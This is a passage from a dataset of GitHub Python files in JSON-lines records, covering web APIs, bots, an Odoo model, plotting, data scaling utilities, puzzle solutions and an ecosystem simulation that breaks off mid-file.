1))\n","repo_name":"bsauty/leaspy_fork","sub_path":"tests/unit_tests/models/test_abstract_model.py","file_name":"test_abstract_model.py","file_ext":"py","file_size_in_byte":9211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"850992908","text":"from logging.config import dictConfig\n\nfrom fastapi import FastAPI\n\nfrom core.settings import settings\nfrom core.transaction_executor import transaction_executor\nfrom routes import auth_routes, users_routes, transactions_routes\n\ndictConfig(settings.LOGGER_CONFIG)\n\ntags_metadata = [\n {\n \"name\": \"auth\",\n \"description\": \"Регистрация и аутентификация\"\n },\n {\n \"name\": \"users\",\n \"description\": \"Получение пользовательской информации\"\n },\n {\n \"name\": \"transactions\",\n \"description\": \"Операции с транзакциями\"\n },\n]\n\napp = FastAPI(openapi_tags=tags_metadata)\n\napp.include_router(auth_routes.router)\napp.include_router(users_routes.router)\napp.include_router(transactions_routes.router)\n\ntransaction_executor.fetch_transactions()\ntransaction_executor.start()\n","repo_name":"meetinger/bwgroup","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42811474469","text":"from typing import List\n\n\nclass Solution:\n def checkIfExist(self, arr: List[int]) -> bool:\n s = set()\n for n in arr:\n if n / 2 in s or n * 2 in s:\n return True\n s.add(n)\n return False\n\n\nif __name__ == \"__main__\":\n s = Solution()\n result = s.checkIfExist(\n [10, 2, 5, 3, 4, 4])\n print(result)\n","repo_name":"kenwoov/PlayLeetCode","sub_path":"Algorithms/Easy/1346. Check If N and Its Double Exist/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39031749928","text":"from sanic.views import HTTPMethodView\nfrom sanic.response import json\nfrom sanic.exceptions import abort\nfrom App.model import User, Role\nfrom App.decorator import authorized, role_or_self_check,captcha_check\n\nclass UserEmailSource(HTTPMethodView):\n \"\"\"操作单个用户中的email\n \"\"\"\n decorators = [captcha_check(\"email\"),role_or_self_check(),authorized()]\n\n async def get(self, request, _id):\n \"\"\"查看用户修改email\n \"\"\"\n\n try:\n user = await User.get(User._id == _id)\n except:\n return json({\"message\":\"找不到对应用户\"},401)\n\n else:\n return json({\n \"username\": user.username,\n \"main_email\": user.main_email\n })\n\n async def post(self, request, _id):\n \"\"\"为用户修改email,需要传入一个验证码信息\n \"\"\"\n\n token = request.json[\"token\"]\n try:\n token_info = request.app.serializer.loads(token,request.app.config['TOKEN_TIME'])\n except SignatureExpired as e:\n return json({\"message\":\"token is out of date\"},401)\n\n source = token_info[\"source\"]\n now_id = token_info[\"_id\"]\n new_email = token_info[\"new_email\"]\n if _id != now_id or source != type(self).__name__:\n return json({\"message\":\"you do not have permission to update email\"},401)\n\n else:\n try:\n user = await User.get(User._id == _id)\n except:\n return json({\"message\":\"can not find the user\"},401)\n\n else:\n try:\n user.main_email = new_email\n result = await user.save()\n except Exception as e:\n print(e)\n return json({\n \"result\": False\n })\n else:\n return json({\n \"result\": True\n })\n","repo_name":"eyangba/auth-center","sub_path":"auth-center/App/api/user_source/user_main_email.py","file_name":"user_main_email.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71784126482","text":"from odoo import fields, models,api\nfrom odoo.exceptions import ValidationError\nfrom datetime import datetime\n\nclass Movimiento(models.Model):\n _name = \"sa.movimiento\" # sa_movimiento\n _description = \"Movimiento\"\n _inherit = \"mail.thread\"\n\n name = fields.Char(string=\"Nombre\",required=True)\n date = fields.Date(string=\"Fecha\",track_visibility=\"onchange\")\n type_move = fields.Selection(selection=[(\"ingreso\",\"Ingreso\"),(\"gasto\",\"Gasto\")],string=\"Tipo\",default=\"ingreso\",required=True,track_visibility=\"onchange\")\n # amount = fields.Float(\"Monto\",track_visibility=\"onchange\")\n currency_id = fields.Many2one(\"res.currency\",default=162)\n user_id = fields.Many2one(\"res.users\",string=\"Usuario\",default=lambda self:self.env.user.id)\n amount = fields.Float(\"Precio Unitario\", store=True, required=True, copy=True, digits='Product Price')\n quantity = fields.Float(\"Cantidad\", store=True, required=True, copy=True, digits='Product Price')\n total_amount = fields.Monetary(\"Total\", store=True, currency_field='currency_id', compute='_compute_amount', tracking=True)\n category_id = fields.Many2one(\"sa.category\",\"Categoria\")\n email = fields.Char(related=\"user_id.email\",string=\"Correo Electrónico\")\n product_id = fields.Many2one('product.product', string='Product')\n\n\n @api.depends('quantity', 'amount', 'currency_id')\n def _compute_amount(self):\n for expense in self:\n # expense.untaxed_amount = expense.amount * expense.quantity\n # taxes = expense.tax_ids.compute_all(expense.unit_amount, expense.currency_id, expense.quantity, expense.product_id, expense.employee_id.user_id.partner_id)\n expense.total_amount = expense.amount * expense.quantity\n\n\n @api.constrains(\"amount\")\n def _check_amount(self):\n if not(self.amount>=0 and self.amount<=100000):\n raise ValidationError(\"El monto debe encontrarse entra 0 y 100000\")\n\n @api.onchange(\"type_move\")\n def onchange_type_move(self):\n if self.type_move == \"ingreso\":\n self.name = \"Ingreso: \"\n self.amount = 0\n elif self.type_move == \"gasto\":\n self.name = \"Egreso : \"\n self.amount = 0\n \n @api.model\n def create(self,vals):\n name = vals.get(\"name\",\"-\")\n amount = vals.get(\"amount\",\"0\")\n quantity = vals.get(\"quantity\",\"0\")\n total_amount = quantity * amount\n\n type_move = vals.get(\"type_move\",\"\")\n date = vals.get(\"date\",\"\")\n\n vals[\"total_amount\"] = total_amount\n user = self.env.user\n count_mov = user.count_movimientos\n if count_mov >= 5 and user.has_group(\"agriterra_movil_backend.res_groups_user_free\"):\n raise ValidationError(\"Solo puedes crear 5 movimientos por mes\")\n\n return super(Movimiento,self).create(vals)\n\n \"\"\"\n def unlink(self):\n for record in self:\n if record.amount>=50:\n raise ValidationError(\"Movimientos con montos mayores a 50 no podrán ser eliminados\")\n return super(Movimiento,self).unlink()\n \"\"\"\n\nclass Category(models.Model):\n _name = \"sa.category\"\n _description = \"Categoria\"\n\n name = fields.Char(\"Nombre\")\n type_move = fields.Selection(selection=[(\"ingreso\",\"Ingreso\"),(\"gasto\",\"Gasto\")],string=\"Tipo\",default=\"ingreso\",required=True)\n\n def ver_movimientos(self):\n return {\n \"type\":\"ir.actions.act_window\",\n \"name\":\"Movimientos de categoria :\"+self.name,\n \"res_model\":\"sa.movimiento\",\n \"views\":[[False,\"tree\"]],\n \"target\":\"self\",\n \"domain\":[[\"category_id\",\"=\",self.id]]\n }\n\nclass Tag(models.Model):\n _name = \"sa.tag\"\n _description = \"Tag\"\n\n name = fields.Char(\"Nombre\")\n type_move = fields.Selection(selection=[(\"ingreso\",\"Ingreso\"),(\"gasto\",\"Gasto\")],string=\"Tipo\",default=\"ingreso\",required=True)\n\nclass ResUsers(models.Model):\n _inherit = \"res.users\"\n movimiento_ids = fields.One2many(\"sa.movimiento\",\"user_id\")\n total_ingresos = fields.Float(\"Total de Ingresos\",compute=\"_compute_movimientos\")\n total_egresos = fields.Float(\"Total de egresos\",compute=\"_compute_movimientos\")\n count_movimientos = fields.Integer(\"Cantidad de movimientos por mes\",compute=\"_compute_movimientos\")\n\n @api.depends(\"movimiento_ids\")\n def _compute_movimientos(self):\n for record in self:\n record.total_ingresos = sum(record.movimiento_ids.filtered(lambda r:r.type_move=='ingreso').mapped(\"amount\"))\n record.total_egresos = sum(record.movimiento_ids.filtered(lambda r:r.type_move=='gasto').mapped(\"amount\"))\n mes = datetime.now().month\n movs = record.movimiento_ids.filtered(lambda r: r.create_date.month == mes)\n record.count_movimientos = len(movs)\n\n def mi_cuenta(self):\n return {\n \"type\":\"ir.actions.act_window\",\n \"name\":\"Mi cuenta\",\n \"res_model\":\"res.users\",\n \"res_id\":self.env.user.id,\n \"target\":\"self\",\n \"views\":[(False,\"form\")]\n }","repo_name":"brianaraujo84/agriterra_movil_backend","sub_path":"models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42055344976","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import AxesGrid\n\nimport yt\n\nfn = \"IsolatedGalaxy/galaxy0030/galaxy0030\"\nds = yt.load(fn) # load data\n\nfig = plt.figure()\n\n# See http://matplotlib.org/mpl_toolkits/axes_grid/api/axes_grid_api.html\n# These choices of keyword arguments produce two colorbars, both drawn on the\n# right hand side. This means there are only two colorbar axes, one for Density\n# and another for temperature. In addition, axes labels will be drawn for all\n# plots.\ngrid = AxesGrid(\n fig,\n (0.075, 0.075, 0.85, 0.85),\n nrows_ncols=(2, 2),\n axes_pad=1.0,\n label_mode=\"all\",\n share_all=True,\n cbar_location=\"right\",\n cbar_mode=\"edge\",\n cbar_size=\"5%\",\n cbar_pad=\"0%\",\n)\n\ncuts = [\"x\", \"y\", \"z\", \"z\"]\nfields = [\n (\"gas\", \"density\"),\n (\"gas\", \"density\"),\n (\"gas\", \"density\"),\n (\"gas\", \"temperature\"),\n]\n\nfor i, (direction, field) in enumerate(zip(cuts, fields)):\n # Load the data and create a single plot\n p = yt.SlicePlot(ds, direction, field)\n p.zoom(40)\n\n # This forces the ProjectionPlot to redraw itself on the AxesGrid axes.\n plot = p.plots[field]\n plot.figure = fig\n plot.axes = grid[i].axes\n\n # Since there are only two colorbar axes, we need to make sure we don't try\n # to set the temperature colorbar to cbar_axes[4], which would if we used i\n # to index cbar_axes, yielding a plot without a temperature colorbar.\n # This unnecessarily redraws the Density colorbar three times, but that has\n # no effect on the final plot.\n if field == (\"gas\", \"density\"):\n plot.cax = grid.cbar_axes[0]\n elif field == (\"gas\", \"temperature\"):\n plot.cax = grid.cbar_axes[1]\n\n # Finally, redraw the plot.\n p.render()\n\nplt.savefig(\"multiplot_2x2_coordaxes_slice.png\")\n","repo_name":"yt-project/yt","sub_path":"doc/source/cookbook/multiplot_2x2_coordaxes_slice.py","file_name":"multiplot_2x2_coordaxes_slice.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"3"} +{"seq_id":"10843377121","text":"import asyncio\nfrom typing import Optional\nfrom fastapi import FastAPI, Header\nfrom airdrop import bot\nfrom telebot import types\nfrom secrets import token_urlsafe\n\nfrom pydantic import BaseModel\n\ntoken =token_urlsafe(10)\nclass Form(BaseModel): \n domain: str\n\n\napp = FastAPI()\n\n@app.get('/')\nasync def root():\n return {'status': 200}\n\n\n@app.put('/toggle')\nasync def delete():\n await bot.remove_webhook()\n\n\n@app.post('/toggle')\nasync def set_webhook(form: Form):\n try:\n await bot.set_webhook(f'https://{form.domain}/{token}')\n except Exception as e:\n return str(e)\n return {'status': 200}\n \n\n@app.post('/{token}')\nasync def webhook(update: dict):\n if update:\n update = types.Update.de_json(update)\n await bot.process_new_updates([update])\n else:\n return\n","repo_name":"JSaretin/upwork-airdrop-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14040972211","text":"import time\nimport sys\nfrom PN532 import PN532\n\n# allowedIDs = ['818F7C4B3CE1', '123456789']\n\n\ndef callbackPN532(tag, id):\n print('Found tag: {}, id: {}'.format(tag, id))\n # if (id in allowedIDs):\n # print(\"ID valid :)\")\n # else:\n # print(\"ID invalid :(\")\n\n\n# device uart, aid for android, callback\npn532 = PN532('tty:AMA0', 'A0000001020304', callbackPN532)\n\nwhile True:\n listen = pn532.listen()\n if not listen:\n break\n\npn532.close()\n","repo_name":"Lexycon/android-pn532-hce","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"} +{"seq_id":"70158482642","text":"import requests\r\nimport os\r\nimport json\r\nfrom bs4 import BeautifulSoup\r\nfrom discord.ext import commands, tasks\r\nimport discord\r\nimport info\r\n\r\n\r\n### Değişkenler ###\r\nTOKEN = info.TOKEN\r\nCHANNEL_ID = info.CHANNEL_ID\r\nquery_time = info.query_time\r\n\r\n\r\nBot = commands.Bot(\"$\")\r\n## Bot bağlantısı ##\r\n@Bot.event\r\nasync def on_ready():\r\n check_control_data.start()\r\n\r\n## Sürekli sorguyu çalıştırma ##\r\n@tasks.loop(seconds=query_time)\r\nasync def check_control_data():\r\n con = requests.get(\"https://forum.kyve.network/latest.json\").json()[\"topic_list\"][\"topics\"]\r\n img_data = requests.get(\"https://forum.kyve.network/latest.json\").json()[\"users\"]\r\n file_json = \"data.json\"\r\n for information in con:\r\n try:\r\n option = 0\r\n for old_data in json.load(open(file_json, \"r\", encoding=\"utf-8\")):\r\n if old_data[\"id\"] == information[\"id\"]:\r\n option = 1\r\n break\r\n if option == 1:\r\n continue\r\n except:\r\n pass\r\n \r\n a = []\r\n if not os.path.isfile(file_json):\r\n a.append(information)\r\n with open(file_json, mode='w', encoding=\"utf-8\") as f:\r\n f.write(json.dumps(a, indent=2,ensure_ascii=False))\r\n else:\r\n with open(file_json, encoding=\"utf-8\") as feedsjson:\r\n feeds = json.load(feedsjson)\r\n\r\n feeds.append(information)\r\n with open(file_json, mode='w', encoding=\"utf-8\") as f:\r\n f.write(json.dumps(feeds, indent=2,ensure_ascii=False))\r\n \r\n\r\n link = \"https://forum.kyve.network/t/\" + information[\"slug\"] + \"/\"\r\n title = information[\"title\"]\r\n html_content = requests.get(link)\r\n soup = BeautifulSoup(html_content.text, 'html.parser')\r\n\r\n text_content = soup.get_text(strip=True,separator=\",,,\")\r\n text_content_split = text_content.split(\",,,\")\r\n\r\n i = 0\r\n for bas in text_content_split:\r\n try:\r\n int(bas.split(\",\")[0].split(\" \")[1])\r\n break\r\n except:\r\n pass\r\n\r\n i+=1\r\n \r\n author = text_content_split[i-1]\r\n\r\n i = 0\r\n a = 0\r\n for bas in text_content_split:\r\n try:\r\n if bas == \"#1\":\r\n a = i\r\n if bas.split(\" \")[-1] == \"Likes\" or bas.split(\" \")[-1] == \"Like\":\r\n break\r\n except:\r\n pass\r\n\r\n i+=1\r\n\r\n description = ' '.join(str(x) for x in text_content_split[a+1:i]).replace(\",,,\", \" \").replace(\",Home,Categories,FAQ/Guidelines,Terms of Service,Privacy Policy,Powered by,Discourse,, best viewed with JavaScript enabled\",\" \").replace(\".,\",\".\\n\").replace(\",:\",\":\").replace(\"Home Categories FAQ/Guidelines Terms of Service Privacy Policy Powered by Discourse , best viewed with JavaScript enabled\", \" \")\r\n \r\n category = text_content_split[0].split(\" - \")[1]\r\n if category == \"Announcement\":\r\n continue\r\n \r\n for img_d in img_data:\r\n if img_d[\"username\"] == author:\r\n \r\n if img_d[\"avatar_template\"].split(\"/\")[0] == \"https:\":\r\n img_link = img_d[\"avatar_template\"].replace(\"{size}\", \"32\")\r\n else:\r\n img_link = \"https://dub2.discourse-cdn.com/standard20\" + img_d[\"avatar_template\"].replace(\"{size}\", \"32\")\r\n \r\n break\r\n\r\n embed = discord.Embed()\r\n embed.color = 0xFF0000\r\n embed.add_field(name=\"Category\", value=category, inline=False)\r\n embed.set_author(name=author, icon_url=img_link)\r\n embed.title = title\r\n embed.description = description\r\n embed.url = link\r\n await Bot.get_channel(CHANNEL_ID).send(embed=embed)\r\n\r\nBot.run(TOKEN)","repo_name":"Errorist79/Kyve-Forum","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72948499602","text":"\nimport numpy as np\nimport copy\n\n# Use at least float64 for the accumulating functions to avoid precision issue\n# see https://github.com/numpy/numpy/issues/9393. The float64 is also retained\n# as it is in case the float overflows\ndef _safe_accumulator_op(op, x, *args, **kwargs):\n \"\"\"\n This function provides numpy accumulator functions with a float64 dtype\n when used on a floating point input. This prevents accumulator overflow on\n smaller floating point dtypes.\n\n Parameters\n ----------\n op : function\n A numpy accumulator function such as np.mean or np.sum.\n x : ndarray\n A numpy array to apply the accumulator function.\n *args : positional arguments\n Positional arguments passed to the accumulator function after the\n input x.\n **kwargs : keyword arguments\n Keyword arguments passed to the accumulator function.\n\n Returns\n -------\n result\n The output of the accumulator function passed to this function.\n \"\"\"\n if np.issubdtype(x.dtype, np.floating) and x.dtype.itemsize < 8:\n result = op(x, *args, **kwargs, dtype=np.float64)\n else:\n result = op(x, *args, **kwargs)\n return result\n\n\ndef _incremental_mean_and_var(new_mean, new_variance, new_sample_count, last_mean, last_variance, last_sample_count):\n \"\"\"Calculate mean update and a Youngs and Cramer variance update.\n\n last_mean and last_variance are statistics computed at the last step by the\n function. Both must be initialized to 0.0. In case no scaling is required\n last_variance can be None. The mean is always required and returned because\n necessary for the calculation of the variance. last_n_samples_seen is the\n number of samples encountered until now.\n\n From the paper \"Algorithms for computing the sample variance: analysis and\n recommendations\", by Chan, Golub, and LeVeque.\n\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features)\n Data to use for variance update.\n\n last_mean : array-like of shape (n_features,)\n\n last_variance : array-like of shape (n_features,)\n\n last_sample_count : array-like of shape (n_features,)\n\n Returns\n -------\n updated_mean : ndarray of shape (n_features,)\n\n updated_variance : ndarray of shape (n_features,)\n If None, only mean is computed.\n\n updated_sample_count : ndarray of shape (n_features,)\n\n Notes\n -----\n NaNs are ignored during the algorithm.\n\n References\n ----------\n T. Chan, G. Golub, R. LeVeque. Algorithms for computing the sample\n variance: recommendations, The American Statistician, Vol. 37, No. 3,\n pp. 242-247\n\n Also, see the sparse implementation of this in\n `utils.sparsefuncs.incr_mean_variance_axis` and\n `utils.sparsefuncs_fast.incr_mean_variance_axis0`\n \"\"\"\n # old = stats until now\n # new = the current increment\n # updated = the aggregated stats\n last_sum = last_mean * last_sample_count\n # new_sum = _safe_accumulator_op(np.nansum, X, axis=0)\n new_sum = new_mean * new_sample_count\n\n # new_sample_count = np.sum(~np.isnan(X), axis=0)\n updated_sample_count = last_sample_count + new_sample_count\n\n updated_mean = (last_sum + new_sum) / updated_sample_count\n\n if last_variance is None:\n updated_variance = None\n else:\n # new_unnormalized_variance = (\n # _safe_accumulator_op(np.nanvar, X, axis=0) * new_sample_count)\n new_unnormalized_variance = new_variance * new_sample_count\n\n last_unnormalized_variance = last_variance * last_sample_count\n\n with np.errstate(divide='ignore', invalid='ignore'):\n last_over_new_count = last_sample_count / new_sample_count\n updated_unnormalized_variance = (\n last_unnormalized_variance + new_unnormalized_variance +\n last_over_new_count / updated_sample_count *\n (last_sum / last_over_new_count - new_sum) ** 2)\n\n zeros = last_sample_count == 0\n updated_unnormalized_variance[zeros] = new_unnormalized_variance[zeros]\n updated_variance = updated_unnormalized_variance / updated_sample_count\n\n return updated_mean, updated_variance, updated_sample_count\n\n\ndef _merge_scalers(scaler1, scaler2):\n last_mean = scaler1.mean_\n last_variance = scaler1.var_\n last_sample_count = scaler1.n_samples_seen_\n\n new_mean = scaler2.mean_\n new_variance = scaler2.var_\n new_sample_count = scaler2.n_samples_seen_\n\n updated_mean, updated_variance, updated_sample_count = _incremental_mean_and_var(new_mean, new_variance, new_sample_count, last_mean, last_variance, last_sample_count)\n updated_scale = np.sqrt(updated_variance)\n\n # print(\"updated_mean=\", updated_mean)\n # print(\"updated_variance=\", updated_variance)\n # print(\"updated_sample_count=\", updated_sample_count)\n # print(\"updated_scale=\", updated_scale)\n\n scaler1.mean_ = updated_mean\n scaler1.var_ = updated_variance\n scaler1.n_samples_seen_ = updated_sample_count\n scaler1.scale_ = updated_scale\n return scaler1\n\n\ndef reduce_scalers(scalers):\n head = scalers.pop(0)\n scaler = copy.deepcopy(head)\n for sc in scalers:\n scaler = _merge_scalers(scaler, sc)\n\n return scaler\n\n\n\n\n\n\n\n","repo_name":"GeoSko/HPC-course","sub_path":"Python_Project/modules/utils/utils_StandardScaler.py","file_name":"utils_StandardScaler.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13681918993","text":"# Uma função recebendo um parâmetro denominado valores\n# Errata: Na aula eu disse que a função maior valor tinha\n# como parâmetro uma lista de valores me referindo ao\n# fato de que eu vou fornecer uma lista que é a lista_numeros\n# porém, o parâmetro \"valores\" não tem um tipo de dados definido\n# eu poderia passar uma string ou um inteiro por exemplo\n# o problema é que se eu fornecer um inteiro, vai dar erro\n# na função max.\n# Só pra deixar claro que \"valores\" não é definido como\n# um parâmetro do tipo lista\n\ndef maior_valor(valores):\n return max(valores)\n\ndef capturar_numeros():\n lista_numeros = []\n while True:\n numero = int(input(\"Informe um número inteiro ou zero para sair: \"))\n if numero == 0:\n break\n lista_numeros.append(numero)\n return maior_valor(lista_numeros)\n\n# Chamada da função\nprint(f\"Maior valor: {capturar_numeros()}\")","repo_name":"DiegoSantosWS/estudos-python","sub_path":"estudo-7/funcao4.py","file_name":"funcao4.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5016812983","text":"def read_input():\n\tpairs = []\n\twith open(\"input.txt\") as fp:\n\t\tfor line in fp.readlines():\n\t\t\tline = line.strip().split(',')\n\t\t\tpairs.append((line[0].split('-'), line[1].split('-')))\n\treturn pairs\n\ndef calc_overlaps(pairs):\n\toverlaps = 0\n\tfor pair in pairs:\n\t\tif int(pair[0][0]) <= int(pair[1][0]) and int(pair[0][1]) >= int(pair[1][1]):\n\t\t\toverlaps += 1\n\t\telif int(pair[1][0]) <= int(pair[0][0]) and int(pair[1][1]) >= int(pair[0][1]):\n\t\t\toverlaps += 1\n\treturn overlaps\n\ndef solve():\n\tpairs = read_input()\n\tprint(calc_overlaps(pairs))\n\nif __name__ == \"__main__\":\n\tsolve()","repo_name":"nameless312/AoC-2022","sub_path":"day4/script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37219348979","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nAnimals Module\n\"\"\"\n\n__author__ = \"Michael Lindberg, Daniel Milliam Müller\"\n__email__ = \"michael.lindberg@nmbu.no, daniel.milliam.muller@nmbu.no\"\n\nimport numpy as np\nimport math\n\n\nclass Animals:\n \"\"\"\n Superclass for Herbivores and Carnivores.\n \"\"\"\n\n def __init__(self, age=0, weight=None):\n \"\"\"\n Class constructor for Animals.\n Creates an animal with age, weight, fitness and 'has_moved' as instance\n attributes.\n\n Parameters\n ----------\n age: int\n Age of the animal. Default value is 0.\n weight: float\n Weight of the animal. If no value is specified, the weight assigned\n is calculated in class method 'calculate_weight'.\n \"\"\"\n self.age = age\n if weight is None:\n self.weight = self.calculate_weight()\n else:\n self.weight = weight\n self.fitness = self.calculate_fitness()\n self.has_moved = False\n\n def aging(self):\n \"\"\"\n Increases the age of the animal by one year and updates its fitness.\n \"\"\"\n self.age += 1\n self.update_fitness()\n\n def calculate_weight(self):\n \"\"\"\n Calculates the weight of the animal. This is used whenever the class\n initializer for the animals did not receive any specified weight input.\n\n Returns\n -------\n float\n Weight of the animal.\n \"\"\"\n return np.random.normal(self.parameters['w_birth'],\n self.parameters['sigma_birth'])\n\n def loss_of_weight(self):\n \"\"\"\n Calculates the amount of weight an animal loses every year, and updates\n the animals weight and fitness.\n \"\"\"\n self.weight -= self.weight * self.parameters['eta']\n self.update_fitness()\n\n def weight_gain(self, eaten):\n \"\"\"\n Weight update after feeding. Currently used for herbivore feeding and\n carnivore killing.\n\n Parameters\n ----------\n eaten: float\n Amount of relative fodder eaten.\n\n Returns\n -------\n float\n Weight adjustment.\n \"\"\"\n return eaten * self.parameters['beta']\n\n def calculate_fitness(self):\n \"\"\"\n Calculates the fitness of an animal.\n\n Returns\n -------\n float\n Fitness of the animal\n \"\"\"\n if self.weight <= 0:\n return 0\n else:\n return (1 / (1 + math.exp(\n self.parameters['phi_age'] * (\n self.age - self.parameters['a_half'])))) * \\\n (1 / (1 + math.exp(-(self.parameters['phi_weight'] *\n (self.weight - self.parameters[\n 'w_half'])))))\n\n def update_fitness(self):\n \"\"\"\n Updates the fitness of an animal.\n \"\"\"\n self.fitness = self.calculate_fitness()\n\n @property\n def get_fitness(self):\n \"\"\"\n Fitness getter for animals.\n\n Returns\n -------\n float\n Animal fitness\n \"\"\"\n return self.fitness\n\n @get_fitness.setter\n def get_fitness(self, value):\n \"\"\"\n Fitness setter for animals.\n\n Parameters\n ----------\n value: float\n Fitness value\n \"\"\"\n self.fitness = value\n\n def death(self):\n \"\"\"\n Determines whether an animal dies. The animal dies if the fitness of\n the animal is 0. The animal also has a probability of dying each year.\n\n Returns\n -------\n Bool\n 'True' is the animal dies and 'False' otherwise.\n \"\"\"\n\n if self.fitness == 0:\n return True\n elif bool(np.random.binomial(1, self.parameters['omega'] * (\n 1 - self.fitness))) is True:\n return True\n else:\n return False\n\n @classmethod\n def weight_check_for_pregnancy(cls):\n \"\"\"\n Checks whether the animal's weight is above a threshold. This is\n required for the animal to potentially get pregnant.\n\n Returns\n -------\n float\n Threshold value for pregnancy.\n \"\"\"\n return cls.parameters['zeta'] * (\n cls.parameters['w_birth'] + cls.parameters['sigma_birth']\n )\n\n def probability_birth(self, n):\n \"\"\"\n Calculates the probability of birth.\n\n Parameters\n ----------\n n: int\n Number of nearby same species animals\n\n Returns\n -------\n float\n Probability of birth\n \"\"\"\n return min(1, self.parameters['gamma'] * self.fitness * (n - 1))\n\n def adjust_weight_after_birth(self, new_born_animal):\n \"\"\"\n Updates the weight of the mother after a baby is born.\n\n Parameters\n ----------\n new_born_animal: Animal\n New born baby\n \"\"\"\n self.weight -= self.parameters['xi'] * new_born_animal.weight\n\n def gives_birth(self, n):\n \"\"\"\n Animals have a chance to produce an offspring each year. This is\n decided by their weight and the amount of nearby same species animals.\n\n Gender plays no role in mating, and each animal can only give birth to\n one offspring each year at most.\n\n After a successful birth, the animal loses weight equal to a portion of\n the birth weight of the baby.\n\n Parameters\n ----------\n n: int\n Number of same species animals in the same cell.\n\n Returns\n -------\n bool\n True if a newborn is successfully born.\n new_born_animal: Animal\n Newborn animal.\n \"\"\"\n\n if self.weight >= self.weight_check_for_pregnancy():\n if bool(np.random.binomial(1, self.probability_birth(n))) is True:\n if isinstance(self, Herbivore):\n new_born_animal = Herbivore()\n else:\n new_born_animal = Carnivore()\n self.adjust_weight_after_birth(new_born_animal)\n return new_born_animal\n else:\n pass\n\n def check_move(self):\n \"\"\"\n Checks if an animal can move. This is checked every time an animal\n attempts to migrate.\n\n Returns\n -------\n bool\n 'True' if the check is passed, 'False' otherwise.\n \"\"\"\n return bool(\n np.random.binomial(1, self.parameters['mu'] * self.fitness)\n )\n\n def calculate_propensities(self, relative_fodder_list):\n \"\"\"\n Calculates the propensity to move for the animal.\n\n Parameters\n ----------\n relative_fodder_list: list\n A list of up to four nearby available cells. The list can contain\n any cells with invalid landscape types. (i.e. landscape that cannot\n be traversed such as mountain or ocean).\n\n Returns\n -------\n propensities: list\n List of propensity values for each relevant cell the animal is\n considering to migrate to.\n \"\"\"\n propensities = []\n for cell in relative_fodder_list:\n if cell[1].landscape_type == 'M':\n propensities.append(float(0))\n elif cell[1].landscape_type == 'O':\n propensities.append(float(0))\n else:\n propensities.append(\n np.exp(self.parameters['lambda']) * cell[0])\n return propensities\n\n @staticmethod\n def choose_migration_destination(relative_fodder_list, propensities_list):\n \"\"\"\n Calculates which cell the animal decides to migrate to.\n\n Parameters\n ----------\n relative_fodder_list: list\n A list of up to four nearby available cells. The list can contain\n any cells with invalid landscape types. (i.e. landscape that cannot\n be traversed such as mountain or ocean).\n propensities_list: list\n List containing propensity values for each relevant cell.\n\n Returns\n -------\n chosen_cell: Cell\n The cell the animal choose to migrate to.\n \"\"\"\n probabilities = []\n for propensity in propensities_list:\n probabilities.append(propensity / sum(propensities_list))\n\n probabilities = np.array(probabilities)\n probabilities /= probabilities.sum()\n\n chosen_cell_index = \\\n list(np.random.choice(len(probabilities), 1, p=probabilities))[\n 0]\n\n chosen_cell = relative_fodder_list[chosen_cell_index][1]\n return chosen_cell\n\n def migrate(self, relative_fodder_list):\n \"\"\"\n Animal attempts to migrate to one of the nearby cells.\n The movement is determined by the fitness of the animal and the fodder\n in the nearby cells.\n\n The animal migrates only once per year, and the animal's 'has_moved'\n status is updated to 'True' after.\n\n Parameters\n ----------\n relative_fodder_list: List\n A list of up to four nearby available cells. The list can contain\n any cells with invalid landscape types. (i.e. landscape that cannot\n be traversed such as mountain or ocean).\n\n Returns\n -------\n chosen_cell: Cell\n The cell the animal choose to migrate to. Otherwise returns None if\n the animal does not move.\n \"\"\"\n\n if self.check_move() is True:\n propensities = self.calculate_propensities(relative_fodder_list)\n if sum(propensities) == 0:\n return None\n else:\n chosen_cell = self.choose_migration_destination(\n relative_fodder_list, propensities\n )\n self.has_moved = True\n return chosen_cell\n else:\n return None\n\n\nclass Herbivore(Animals):\n \"\"\"\n Subclass of Animals.\n \"\"\"\n parameters = {\n 'w_birth': 8.0,\n 'sigma_birth': 1.5,\n 'beta': 0.9,\n 'eta': 0.05,\n 'a_half': 40.0,\n 'phi_age': 0.2,\n 'w_half': 10.0,\n 'phi_weight': 0.1,\n 'mu': 0.25,\n 'lambda': 1.0,\n 'gamma': 0.2,\n 'zeta': 3.5,\n 'xi': 1.2,\n 'omega': 0.4,\n 'F': 10.0,\n 'DeltaPhiMax': None\n }\n\n def __init__(self, age=0, weight=None):\n 